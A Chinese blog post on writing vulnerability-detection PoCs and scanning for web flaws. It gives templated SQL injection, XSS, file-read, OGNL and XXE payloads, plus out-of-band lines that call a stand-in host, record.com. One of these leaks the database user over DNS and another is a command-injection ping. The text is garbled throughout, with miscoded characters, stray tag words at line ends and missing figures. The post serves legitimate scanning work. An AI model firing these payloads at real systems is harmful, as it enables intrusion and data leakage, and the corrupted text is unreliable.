好像好久沒發文了,近日心血來潮準備談談 「漏洞檢測的那些事兒」。如今有一個現象就是一旦有危害較高的漏洞的驗證 PoC 或者利用 EXP 被公佈出來,就會有一大羣飢渴難忍的帽子們去刷洞,對於一個路人甲的我來講,看得有點眼紅。php
刷洞歸刷洞,蛋仍是要扯的。漏洞從披露到研究員分析驗證,再到 PoC 編寫,進而到大規模掃描檢測,在這環環相扣的漏洞應急生命週期中,我認爲最關鍵的部分應該算是 PoC編寫 和 漏洞檢測 這兩個部分了:python
PoC編寫 - 復現漏洞環境,將漏洞復現流程代碼化的過程web
漏洞檢測 - 使用編寫好的 PoC 去驗證測試目標是否存在着漏洞,須要注意的是在這個過程(或者說是在編寫 PoC 的時候)須要作到安全、有效和無害,儘量或者避免掃描過程對目標主機產生不可恢復的影響sql
首先來講說 PoC 編寫。編寫 PoC 在我看來是安全研究員或者漏洞分析者平常最基礎的工做,編寫者把漏洞驗證分析的過程經過代碼描述下來,根據不一樣類型的漏洞編寫相應的 PoC。根據常年編寫 PoC 積累下來的經驗,我的認爲在編寫 PoC 時應遵循幾個準側,以下:shell
隨機性數據庫
肯定性windows
通用型後端
可能你會以爲我太學術了?那麼我就一點一點地把他們講清楚。瀏覽器
0x01 PoC 編寫準則 & 示例緩存
i. 隨機性
PoC 中所涉及的關鍵變量或數據應該具備隨機性,切勿使用固定的變量值生成 Payload,可以隨機生成的儘可能隨機生成(如:上傳文件的文件名,webshell 密碼,Alert 的字符串,MD5 值),下面來看幾個例子(我可真沒打廣告,例子大都使用的 pocsuite PoC 框架):
上圖所示的代碼是 WordPress 中某個主題致使的任意文件上傳漏洞的驗證代碼關鍵部分,能夠看到上面使用了kstest.php 做爲每一次測試使用的上傳文件名,很明顯這裏是用的固定的文件名,違背了上面所提到的隨機性準側。這裏再多囉嗦一句,我並無說在 PoC 中使用固定的變量或者數據有什麼不對,而是以爲將可以隨機的數據隨機化可以下降在掃描檢測的過程所承擔的一些風險(具體有什麼風險請自行腦補了)。
根據隨機性準側可修改代碼以下:
更改後上傳文件的文件名每次都爲隨機生成的 6 位字符,我的認爲在必定程度上下降了掃描檢測交互數據被追蹤的可能性。
ii. 肯定性
PoC 中能經過測試返回的內容找到惟一肯定的標識來講明該漏洞是否存在,而且這個標識須要有針對性,切勿使用過於模糊的條件去判斷(如:HTTP 請求返回狀態,固定的頁面可控內容)。一樣的,下面經過實例來講明一下:
上圖所示的代碼是某 Web 應用一個 UNION 型 SQL 注入的漏洞驗證代碼,代碼中直接經過拼接 -1' union select 1,md5(1) -- 來進行注入,因該漏洞有數據回顯,因此若是測試注入成功頁面上會打印出 md5(1) 的值c4ca4238a0b923820dcc509a6f75849b,顯然的這個 PoC 看起來並無什麼問題,可是結合準則第一條隨機性,我以爲這裏應該使用 md5(rand_num) 做爲標識肯定更好,由於隨機化後,準確率更高:
這裏也不是坑大家,萬一某個站點不存在漏洞,但頁面中就是有個 c4ca4238a0b923820dcc509a6f75849b,大家以爲呢?
講到這裏,再說說一個 Python requests 庫使用者可能會忽視的一個問題。有時候,咱們在獲取到一個請求返回對象時,會像以下代碼那樣作一個前置判斷:
可能有人會說了,Python 中條件判斷非空即爲真,可是這裏真的是這麼處理的麼?並非,通過實戰遇到的坑和後來測試發現,Response 對象的條件判斷是經過 HTTP 返回狀態碼來進行判斷的,當狀態碼範圍在 [400, 600] 之間時,條件判斷會返回 False。(不信的本身測試咯)
我爲何要提一下這個點呢,那是由於有時候咱們測試漏洞或者將 Payload 打過去時,目標可能會由於後端處理邏輯出錯而返回 500,可是這個時候其實頁面中已經有漏洞存在的標識出現,若是這以前你用剛纔說的方法提早對 Response 對象進行了一個條件判斷,那麼這一次就會致使漏報。So,大家知道該怎麼作了吧?
iii. 通用性
PoC 中所使用的 Payload 或包含的檢測代碼應兼顧各個環境或平臺,可以構造出通用的 Payload 就不要使用單一目標的檢測代碼,切勿只考慮漏洞復現的環境(如:文件包含中路徑形式,命令執行中執行的命令)。下圖是 WordPress 中某個插件致使的任意文件下載漏洞:
上面驗證代碼邏輯簡單的說就是,經過任意文件下載漏洞去讀取 /etc/passwd 文件的內容,並判斷返回的文件內容是否包含關鍵的字符串或者標識。明顯的,這個 Payload 只適用於 *nix 環境的狀況,在 Windows 平臺上並不適用。更好的作法應該是根據漏洞應用的環境找到一個必然可以體現漏洞存在的標識,這裏,咱們能夠取 WordPress 配置文件 wp-config.php 來進行判斷(固然,下圖最終的判斷方式可能不怎麼嚴謹):
這麼一改,Payload 就同時兼顧了多個平臺環境,變成通用的了。
大大小小漏洞的 PoC 編寫經驗讓我總結出這三點準則,你要是以爲是在扯蛋就不用往下看了。QWQ
0x02 漏洞檢測方法 & 示例
「漏洞檢測!漏洞檢測?漏洞檢測。。。」,說了這麼多,到底如何去概括漏洞檢測的方法呢?在我看來,根據 Web 漏洞的類型特色和表現形式,能夠分爲兩大類:直接判斷 和 間接判斷。
直接判斷:經過發送帶有 Payload 的請求,可以從返回的內容中直接匹配相應狀態進行判斷
間接判斷:沒法經過返回的內容直接判斷,需藉助其餘工具間接的反應漏洞觸發與否
多說無益,仍是直接上例子來體現一下吧(下列所示 Payloads 不徹底通用)。
1. 直接判斷
i. SQLi(回顯)
對於有回顯的 SQL 注入,檢測方法比較固定,這裏遵循 「隨機性」 和 「肯定性」 兩點便可。
Error Based SQL Injection
payload: "... updatexml(1,concat(":",rand_str1,rand_str2),1) ..." 2.condition: (rand_str1 + rand_str2) in response.content
針對報錯注入來講,利用隨機性進行 Payload 構造能夠比較穩定和準確地識別出漏洞,固定字符串會因一些小几率事件形成誤報。不知道你們是否明白上面兩行代碼的意思,簡單的說就是 Payload 中包含一個可預測結果的隨機數據,驗證時只須要驗證這個可預測結果是否存在就好了。
UNION SQL Injection
payload1: "... union select md5(rand_num) ..." 2.condition1: md5(rand_num) in response.content 3. 4.payload2: "... union select concat(rand_str1, rand_str2) ..." 5.condition2: (rand_str1 + rand_str2) in response.content
md5(rand_num) 這個很好理解,MySQL 中自帶函數,當 Payload 執行成功時,因具備回顯因此在頁面上定有md5(rand_num) 的哈希值,因 Payload 具備隨機性,因此誤報率較低。
ii. XSS(回顯)
payload: "... var _=rand_str1+rand_str2;confirm(_); ..." 2.condition: (rand_str1 + rand_str2) in response.content
因沒怎麼深刻研究過 XSS 這個東西,因此你們就意會一下示例代碼的意思吧。QWQ
iii. Local File Inclusion/Arbitrary File Download(回顯)
本地文件包含和任意文件下載的最大區別在哪?本地文件包含不只可以獲取文件內容還能夠動態包含腳本文件執行代碼,而任意文件下載只能獲取文件內容沒法執行代碼。XD
因此呢,在針對此類漏洞進行檢測時,在進行文件包含/下載測試的時候須要找一個相對 Web 應用固定的文件做爲測試向量:
payload: "... ?file=../../../fixed_file ..." 2.condition: (content_flag_in_fixed_file) in response.content
例如 WordPress 應用路徑下 ./wp-config.php 文件是應用默認必須的配置文件,而文件中的特殊字符串標識require_once(ABSPATH . 'wp-settings.php'); 一般是不會去改動它的(固然也能夠是其餘的特徵字符串),掃描文件下載時只須要去嘗試下載 ./wp-config.php 文件,並檢測其中的內容是否含有特徵字符串便可判斷是否存在漏洞了。
iv. Remote Code/Command Execution(回顯)
遠程代碼/命令執行都是執行,對該類漏洞要進行無害掃描,一般的作法是打印隨機字符串,或者運行一下特徵函數,而後檢查頁面返回是否存在特徵標識來確認漏洞與否。
payload: "... echo md5(rand_num); ..." 2.condition: (content_flag) in response.content
固然了,要執行什麼樣的特徵命令這還須要結合特定的漏洞環境來決定。
v. SSTI/ELI(回顯)
模板注入和表達式注入相對於傳統的 SQLi 和 XSS 來講,應該算得上是在開框架化、總體化的過程當中產生的問題,當模板內容可控時各類傳統的 Web 漏洞也就出現了,XSS、命令執行都可以經過模板注入活着表達式注入作到。曾經風靡一時的 Struts2 漏洞我以爲都能歸到此類漏洞中。一般檢測只需構造相應模板語言對應的表達式便可,存在注入表達式會得以執行並返回內容:
payload1: "... param=%(rand_num1 + rand_num2) ..." 2.condition1: (rand_num1 + rand_num2) in response.content 3. 4.payload2: "... param=%(rand_num1 * rand_num2) ..." 5.condition2: (rand_num1 * rand_num2) in response.content 6. 7.payload3: "... #response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(rand_str1+rand_str2),#response.flush(),#response.close() .." 8.condition3: (rand_str1+ rand_str2) in response.content
vi. 文件哈希
有時候漏洞只與單個文件有關,例如 Flash、JavaScript 等文件形成的漏洞,這個時候就能夠利用文件哈希來直接判斷是否存在漏洞。掃描檢測時,首先須要給定路徑下載對應的文件而後計算哈希與統計的具備漏洞的全部文件哈希進行比對,匹配成功則說明漏洞存在:
payload: "http://vuln.com/vuln_swf_file.swf" 2.condition: hash(vul_swf_file.swf) == hash_recorded
以上就是針對 Web 漏洞檢測方法中的 「直接判斷」 進行了示例說明,因 Web 漏洞類型繁多且環境複雜,這裏不可能對其進行一一舉例,所舉的例子都是爲了更好的說明 「直接判斷」 這種檢測方法。:)
2. 間接判斷
「無回顯?測不了,掃不了,很尷尬!怎麼辦。。。「
在好久好久以前,我遇到上訴這些漏洞環境時是一臉懵逼的 (⇀‸↼‶),一開始懂得了用回連進行判斷,後來有了 python -m SimpleHTTPServer 做爲簡單實時的 HTTP Server 做爲回連監控,再後來有了《Data Retrieval over DNS in SQL Injection Attacks》這篇 Paper,雖然文章說的技術點是經過 DNS 查詢來獲取 SQL 盲注的數據,可是 "Data Retrieval over DNS" 這種技術已經能夠應用到大多數沒法回顯的漏洞上了,進而出現了一些公開的平臺供安全研究愛好者們使用,如:烏雲的 cloudeye 和 Bugscan 的 DNSLog,固然還有我重寫的 CEYE.IO 平臺。
"Data Retrieval over DNS" 技術原理其實很簡單,首先須要有一個能夠配置的域名,好比:ceye.io,而後經過代理商設置域名 ceye.io 的 nameserver 爲本身的服務器 A,而後再服務器 A 上配置好 DNS Server,這樣以來全部 ceye.io 及其子域名的查詢都會到 服務器 A 上,這時就可以實時地監控域名查詢請求了,圖示以下(借的 Ricter 的):
說了那麼多,仍是不知道怎麼用麼?那就直接看示例吧(因此後端平臺都用 CEYE.IO 做爲例子)。
i. XSS(無回顯)
XSS 盲打在安全測試的時候是比較經常使用的,「看到框就想 X」 也是每位 XSSer 的信仰:
payload: "... ><img src=http://record.com/?blindxss ..." 2.condition: {http://record.com/?blindxss LOG} in HTTP requests LOGs
經過盲打,讓觸發者瀏覽器訪問預設至的連接地址,若是盲打成功,會在平臺上收到以下的連接訪問記錄:
ii. SQLi(無回顯)
SQL 注入中無回顯的狀況是很常見的,可是有了 "Data Retrieval over DNS" 這種技術的話一切都變得簡單了,前提是目標環境符合要求。《HawkEye Log/Dns 在Sql注入中的應用》這篇文章提供了一些常見數據庫中使用 "Data Retrieval over DNS" 技術進行盲注的 Payloads。
payload: "... load_file(concat('\\\\',user(),'.record.com\\blindsqli')) 02.condition: {*.record.com LOG} in DNS queries LOGs
只要目標系統環境符合要求而且執行了注入的命令,那麼就會去解析預先設置好的域名,同時經過監控平臺可以拿到返回的數據。
iii. SSRF(無回顯)
根據上面兩個例子,熟悉 SSRF 的同窗確定也是知道怎麼玩了:
payload: "... <!ENTITY test SYSTEM "http://record.com/?blindssrf"> ..." 2.condition: {http://record.com/?blindssrf LOG} in HTTP requests LOGs
iv. RCE(無回顯)
命令執行/命令注入這個得好好說一下,我相信不少同窗都懂得在命令執行沒法回顯的時候借用相似 python -m SimpleHTTPServer 這樣的環境,採用回連的檢測機制來實時監控訪問日誌。*nix 系統環境下通常是使用 curl 命令或者wget 命令,而 windows 系統環境就沒有這麼方便的命令去直接訪問一個連接,我以前經常使用的是 ftp 命令和 PowerShell 中的文件下載來訪問日誌服務器。如今,有了一個比較通用的作法同時兼顧 *nix 和 windows 平臺,那就是 ping 命令,當 ping 一個域名時會對其進行一個遞歸 DNS 查詢的過程,這個時候就能在後端獲取到 DNS 的查詢請求,當命令真正被執行且平臺收到回顯時就能說明漏洞確實存在。
payload: "... | ping xxflag.record.com ..." 2.condition: {xxflag.record.com LOG} in DNS queries LOGs
經過這幾個 "間接判斷" 的示例,相信你們也大概瞭解了在漏洞無回顯的狀況下如何進行掃描和檢測了。更多的無回顯 Payloads 能夠經過 http://ceye.io/payloads 進行查看。(勿噴)
0x03 應急實戰舉例
原理和例子扯了這麼多,也該上上實際的掃描檢測案例了。
Java 反序列化(通用性舉例,ftp/ping)
首先說說 15 年末爆發的 Java 反序列化漏洞吧,這個漏洞應該算得上是 15 年 Web 漏洞之最了。記得當時應急進行掃描的時候,WebLogic 回顯 PoC 並無搞定,對其進行掃描檢測的時候使用了回連的方式進行判斷,又由於待測目標包含 *nix 和 windows 環境,因此是寫了兩個不一樣的 Payloads 對不一樣的系統環境進行檢測,當時掃描代碼的 Payloads 生成部分爲:
i. *nix
當時真實的日誌內容:
能夠看到我在構造 Payload 的時候經過連接參數來惟一識別每一次測試的 IP 地址和端口,這樣在檢查訪問日誌的時候就能肯定該條記錄是來自於哪個測試目標(由於入口 IP 和出口 IP 可能不一致),同時在進行批量掃描的時候也能方便進行目標確認和日誌處理。
ii. windows
當時真實的日誌內容:
由於 windows 上的 ftp 命令沒法帶相似參數同樣的標誌,因此經過觀察 FTP Server 鏈接日誌上不是很好確認當時測試的目標,由於入口 IP 和出口 IP 有時不一致。
上面的這些 PoC 和日誌截圖都是去年在應急時真實留下來的,回想當時再結合目前的一些知識,發現使用通用的 Payloadping xxxxx.record.com 並使用 "Data Retrieval over DNS" 技術來收集信息日誌可以更爲通用方便地進行檢測和掃描。因此,最近更換了一下 Payload 結合 CEYE.IO 平臺又對 WebLogic 反序列化漏洞的影響狀況又進行了一次摸底:
這裏添加一個隨機字符串做爲一個子域名的一部分是爲了防止屢次檢測時本地 DNS 緩存引發的問題(系統通常會緩存 DNS 記錄,同一個域名第一次經過網絡解析獲得地址後,第二次一般會直接使用本地緩存而不會再去發起查詢請求)。
相應平臺的記錄爲(數量略多):
(順便說一下,有一個這樣的平臺仍是很好使的 QWQ)
不知不覺就寫了這麼多 QWQ,好累。。。能總結和須要總結的東西實在太多了,此次就先寫這麼一點吧。
不知道仔細看完這篇文章的人會有何想法,也許其中的一些總結你都知道,甚至比我知道的還要多,但我寫出來只是想對本身的經驗和知識負責而已,歡迎你們找我討論掃描檢測相關的東西。:)